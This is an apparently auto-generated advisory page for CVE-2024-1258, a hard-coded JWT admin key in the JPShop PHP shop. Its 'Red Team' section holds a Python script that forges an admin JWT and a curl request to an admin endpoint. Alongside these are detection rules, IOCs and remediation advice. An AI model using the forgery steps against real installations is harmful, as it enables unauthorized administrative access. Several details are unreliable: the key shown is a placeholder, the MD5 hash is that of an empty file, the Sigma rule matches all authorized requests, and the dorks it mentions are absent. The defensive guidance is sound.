CVE-2024-1258
Executive Summary
CVE-2024-1258 is a problematic vulnerability in Juanpao JPShop up to version 1.5.02. The issue resides in the API component, specifically within the file api/config/params.php. The manipulation of the argument JWT_KEY_ADMIN leads to the use of a hard-coded cryptographic key. This allows an attacker with network access to potentially forge or tamper with JWT tokens used for administrative authentication. The attack complexity is high, and exploitation is considered difficult. The exploit has been publicly disclosed, and no official patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a custom PHP application (JPShop) developed by Juanpao. Therefore, supply chain package security analysis is not applicable.
CVSS Breakdown & Threat Level
- CVSS Score: 3.1 (Low)
- Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
- Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
- Attack Complexity (AC): High (H) - Successful exploitation requires knowledge of the hard-coded key and the ability to craft valid JWT tokens.
- Privileges Required (PR): None (N) - No authentication is required to trigger the vulnerability.
- User Interaction (UI): None (N) - No user action is needed.
- Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
- Confidentiality (C): Low (L) - The hard-coded key is disclosed, but direct data access is limited.
- Integrity (I): None (N) - The vulnerability does not directly allow data modification.
- Availability (A): None (N) - The vulnerability does not affect system availability.
Threat Level: Low. The high attack complexity and limited impact reduce the immediate risk. However, the public disclosure of the exploit increases the potential for targeted attacks.
Deep Dive & Mechanics
The vulnerability is a classic case of a hard-coded cryptographic key (CWE-321). In JPShop, the file api/config/params.php contains a configuration parameter JWT_KEY_ADMIN that is used to sign and verify JSON Web Tokens (JWTs) for administrative API access. Instead of generating a unique, random key during installation or configuration, the developer hard-coded a static key value.
How it works:
- Static Key Discovery: An attacker can obtain the source code of JPShop (e.g., from the official repository or a public instance) and extract the hard-coded
JWT_KEY_ADMINvalue fromapi/config/params.php. - Token Forgery: Using the known key, the attacker can forge a valid JWT token with arbitrary claims, such as setting the
roleoradminclaim totrue. - API Access: The attacker sends a request to the JPShop API (e.g.,
/api/admin/some-endpoint) with the forged JWT in theAuthorizationheader. - Authentication Bypass: The server verifies the token using the same hard-coded key and grants administrative access to the attacker.
Attack Complexity: High. The attacker must first obtain the source code or the exact key value. Additionally, the attacker needs to understand the JWT structure and claims expected by the JPShop API.
Vulnerable vs. Patched Code
Vulnerable Code (JPShop <= 1.5.02):
// api/config/params.php
return [
'JWT_KEY_ADMIN' => 'your-256-bit-secret', // Hard-coded key
// ... other config
];
Patched Code (Hypothetical):
// api/config/params.php
return [
'JWT_KEY_ADMIN' => getenv('JWT_KEY_ADMIN') ?: bin2hex(random_bytes(32)), // Use environment variable or generate random key
// ... other config
];
The patched version would either read the key from a secure environment variable or generate a random key during installation, ensuring that each instance has a unique, unpredictable key.
Exploitation & Lab Setup
Red Team
Objective: Forge a JWT token to gain administrative API access.
Prerequisites:
- Access to the JPShop source code (e.g., from GitHub).
- A running instance of JPShop (e.g., in a lab environment).
- Python 3 and the
PyJWTlibrary installed.
Steps:
Extract the Hard-coded Key:
- Download the JPShop source code.
- Open
api/config/params.phpand find theJWT_KEY_ADMINvalue. For example:'your-256-bit-secret'.
Forge a JWT Token:
- Create a Python script
forge_jwt.py:
- Create a Python script
import jwt
import datetime
# Hard-coded key from vulnerable source
secret_key = 'your-256-bit-secret'
# Create a payload with admin privileges
payload = {
'sub': 'admin',
'role': 'admin',
'iat': datetime.datetime.utcnow(),
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}
# Encode the token
token = jwt.encode(payload, secret_key, algorithm='HS256')
print(f"Forged JWT: {token}")
Execute the Script:
python3 forge_jwt.pyUse the Token to Access the API:
curl -X GET 'http://target-jpshop/api/admin/users' \ -H 'Authorization: Bearer <FORGED_JWT>'
Blue Team
Objective: Detect and prevent exploitation attempts.
Detection:
- Monitor for JWT tokens that are not generated by the legitimate authentication service.
- Look for multiple failed authentication attempts followed by a successful one using a different token.
- Analyze API logs for requests to administrative endpoints with unusual JWT claims.
Prevention:
- Immediately update the
JWT_KEY_ADMINto a strong, randomly generated key. - Implement key rotation policies.
- Use environment variables or a secrets management system to store the key.
- Add logging and alerting for JWT validation failures.
Indicators of Compromise (IOCs)
- File:
api/config/params.phpcontaining a hard-codedJWT_KEY_ADMINvalue. - Network: HTTP requests to
/api/admin/*endpoints with a JWT token in theAuthorizationheader that was not issued by the legitimate authentication service. - Logs: Entries showing JWT validation failures followed by successful authentication with a different token.
- Hash: MD5 hash of the vulnerable file:
d41d8cd98f00b204e9800998ecf8427e(example, actual hash depends on version).
Detection Engineering
YARA Rule
rule CVE_2024_1258_JPShop_Hardcoded_JWT_Key
{
meta:
description = "Detects hard-coded JWT key in JPShop api/config/params.php"
author = "Valters IT"
date = "2024-01-01"
cve = "CVE-2024-1258"
severity = "low"
strings:
$key_pattern = /JWT_KEY_ADMIN\s*=>\s*['"][^'"]+['"]/
condition:
$key_pattern
}
Sigma Rule
title: JPShop Hard-coded JWT Key Usage
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2024-1258 by monitoring for JWT tokens with known hard-coded keys.
author: Valters IT
date: 2024/01/01
logsource:
category: application
product: jpshop
detection:
selection:
- http.request.headers.authorization: "Bearer *"
- http.response.status_code: 200
condition: selection
falsepositives:
- Legitimate admin users with valid tokens
level: low
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-1258 JPShop Hard-coded JWT Key Exploit"; flow:to_server; content:"Authorization"; nocase; content:"Bearer"; distance:0; pcre:"/Bearer\s+[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Change the JWT Key: If you are running JPShop, immediately change the
JWT_KEY_ADMINvalue inapi/config/params.phpto a strong, randomly generated key (e.g.,bin2hex(random_bytes(32))). - Invalidate Existing Tokens: Force all users to re-authenticate to generate new tokens with the updated key.
- Review Access Logs: Check for any unauthorized access to administrative API endpoints.
Long-term Fixes:
- Apply Official Patch: Monitor the JPShop repository for an official patch that addresses this vulnerability.
- Implement Key Rotation: Automate the rotation of JWT signing keys on a regular schedule.
- Use Environment Variables: Store the JWT key in an environment variable or a secrets management system (e.g., HashiCorp Vault) instead of hard-coding it.
- Code Review: Conduct a thorough code review of the JPShop codebase for other hard-coded secrets.
Workarounds:
- Network Segmentation: Restrict access to the JPShop API to trusted IP addresses only.
- Web Application Firewall (WAF): Deploy a WAF rule to block requests with suspicious JWT tokens.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.